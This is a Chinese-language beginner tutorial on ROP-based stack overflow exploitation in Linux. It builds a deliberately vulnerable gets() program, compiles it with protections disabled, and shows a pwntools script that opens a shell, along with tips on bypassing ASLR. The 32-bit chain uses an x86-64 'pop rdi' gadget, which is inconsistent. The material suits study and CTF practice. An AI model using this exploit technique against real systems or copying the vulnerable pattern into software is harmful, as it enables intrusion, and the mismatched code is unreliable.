Linux PWN入门：ROP与Gadgets实战解析

1. Linux PWN入门：ROP与Gadgets实战解析

第一次接触Linux PWN时，很多人会被各种安全术语搞得晕头转向。作为二进制安全的经典方向，栈溢出利用中的ROP（Return-Oriented Programming）技术就像乐高积木——通过精心组合现有的代码片段（Gadgets）来绕过安全防护。我刚开始研究时，花了整整两周才搞明白如何用ROP链调用system("/bin/sh")。本文将用最直白的语言，带新手快速上手ROP攻击的核心套路。

2. ROP技术原理与背景

2.1 为什么需要ROP

现代Linux系统普遍部署了NX（No-eXecute）防护，使得栈内存不可执行。传统的shellcode注入方式失效后，安全研究者发现可以通过复用程序中已有的代码片段（如libc库函数）来构造攻击链。这就好比用现成的乐高零件拼出想要的功能，而不需要自己造新零件。

2.2 Gadgets的本质

Gadget特指以ret指令结尾的短指令序列，例如：

asm复制pop rdi; ret
mov eax, 0; ret

每个Gadget完成一个小功能，通过ret指令将控制流串联起来。优秀的Gadget通常具备以下特征：

• 指令长度短（2-3条指令）
• 包含有用的寄存器操作
• 存在于可预测的内存地址

3. 实战环境搭建

3.1 基础工具准备

建议使用Kali Linux或Ubuntu系统，安装以下工具：

bash复制sudo apt install gcc-multilib gdb peda python3-pip
pip3 install pwntools ropgadget

3.2 测试程序编译

创建漏洞示例程序vuln.c：

c复制#include <stdio.h>
void vuln() {
    char buf[32];
    gets(buf); // 明显的栈溢出漏洞
}
int main() { vuln(); }

编译时关闭保护机制：

bash复制gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

4. ROP链构造详解

4.1 基础攻击流程

1. 通过溢出覆盖返回地址
2. 将返回地址指向第一个Gadget
3. 链式执行多个Gadget
4. 最终调用目标函数（如system）

4.2 典型Gadget组合

获取shell的经典ROP链需要：

1. 设置参数（如将"/bin/sh"地址存入rdi）
2. 调用system函数
   对应的Gadget搜索命令：

bash复制ROPgadget --binary vuln | grep "pop rdi"

5. 完整攻击示例

5.1 获取关键地址

使用gdb查找：

gdb复制gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e13660 <system>
gdb-peda$ find "/bin/sh"
0xf7f5e1cf

5.2 Python攻击脚本

python复制from pwn import *
context(arch='i386', os='linux')

p = process('./vuln')
offset = 44
pop_rdi = 0x0804842a
bin_sh = 0xf7f5e1cf
system = 0xf7e13660

payload = b'A'*offset 
payload += p32(pop_rdi)
payload += p32(bin_sh)
payload += p32(system)

p.sendline(payload)
p.interactive()

6. 常见问题排查

6.1 地址偏移计算

使用cyclic工具确定溢出点：

bash复制$ cyclic 100
aaaabaaacaaadaaaeaaaf...
$ dmesg | grep "eip"
[ 1234.567] vuln[1234]: segfault at 61616165 ip 61616165
$ cyclic -l 0x61616165
44

6.2 Gadget不可用的情况

当找不到理想的Gadget时，可以：

1. 尝试其他相近功能的Gadget
2. 组合多个Gadget实现相同效果
3. 考虑使用其他调用约定（如x86的int 0x80）

7. 防护绕过技巧

7.1 ASLR应对策略

当遇到地址随机化时：

1. 先泄漏libc地址
2. 计算实际函数地址
3. 使用pwntools的DynELF模块

7.2 栈对齐问题

某些系统要求rsp按16字节对齐，可在ROP链中添加：

asm复制ret  # 仅包含ret指令的Gadget

8. 进阶学习建议

掌握基础ROP后，可以继续研究：

• SROP（Sigreturn-Oriented Programming）
• JOP（Jump-Oriented Programming）
• BROP（Blind ROP）
• 针对不同架构（ARM/MIPS）的ROP技术

刚开始可能会觉得Gadget搜索像大海捞针，但熟悉后你会发现这就像玩解谜游戏——每个二进制程序都藏着独特的武器库等待你去发掘。我建议从简单的CTF题目开始，逐步增加难度，记录下每个成功利用的ROP链结构，慢慢就会形成自己的攻击模式库。